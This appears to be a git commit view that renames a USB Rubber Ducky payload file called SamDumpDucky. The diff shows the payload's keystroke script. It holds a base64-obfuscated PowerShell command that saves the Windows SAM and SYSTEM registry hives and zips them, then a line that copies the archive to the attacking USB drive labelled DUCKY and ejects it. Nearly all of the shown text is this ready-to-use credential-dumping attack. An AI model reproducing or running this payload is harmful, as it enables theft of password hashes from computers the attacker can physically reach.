Rename SamDumpDucky/payload.txt to t
parent
c5b606c911
commit
ab63a9cda6
|
@ -26,4 +26,4 @@ DELAY 1000
|
|||
|
||||
STRING powershell.exe -NoP -enc cgBlAGcAIABzAGEAdgBlACAAaABrAGwAbQBcAHMAYQBtACAARAB1AGMAawB5AFMAYQBtADsAcgBlAGcAIABzAGEAdgBlACAAaABrAGwAbQBcAHMAeQBzAHQAZQBtACAARAB1AGMAawB5AFMAeQBzADsAQwBvAG0AcAByAGUAcwBzAC0AQQByAGMAaABpAHYAZQAgAC0AUABhAHQAaAAgACIAJABQAFcARABcAEQAdQBjAGsAeQBTAHkAcwAiACwAIAAiACQAUABXAEQAXABEAHUAYwBrAHkAUwBhAG0AIgAgAC0ARABlAHMAdABpAG4AYQB0AGkAbwBuAFAAYQB0AGgAIABTAGEAbQBEAHUAbQBwAEQAdQBjAGsAeQAuAHoAaQBwADsAcgBlAG0AbwB2AGUALQBpAHQAZQBtACAARAB1AGMAawB5AFMAeQBzADsAcgBlAG0AbwB2AGUALQBpAHQAZQBtACAARAB1AGMAawB5AFMAYQBtADsAZQB4AGkAdAA=
|
||||
DELAY 500
|
||||
STRINGLN ;Write-Host "Exfiltrating SamDumpDucky.zip..." -ForegroundColor Green;mv SamDumpDucky.zip ((gwmi win32_volume -f 'label=''DUCKY''').Name);$RD = (gwmi win32_volume -f 'label=''DUCKY''').Name;Start-Sleep 3;(New-Object -comObject Shell.Application).Namespace(17).ParseName($RD).InvokeVerb('Eject');Start-Sleep -s 5;Exit
|
||||
STRINGLN ;Write-Host "Exfiltrating SamDumpDucky.zip..." -ForegroundColor Green;mv SamDumpDucky.zip ((gwmi win32_volume -f 'label=''DUCKY''').Name);$RD = (gwmi win32_volume -f 'label=''DUCKY''').Name;Start-Sleep 3;(New-Object -comObject Shell.Application).Namespace(17).ParseName($RD).InvokeVerb('Eject');Start-Sleep -s 5;Exit
|
Loading…
Reference in New Issue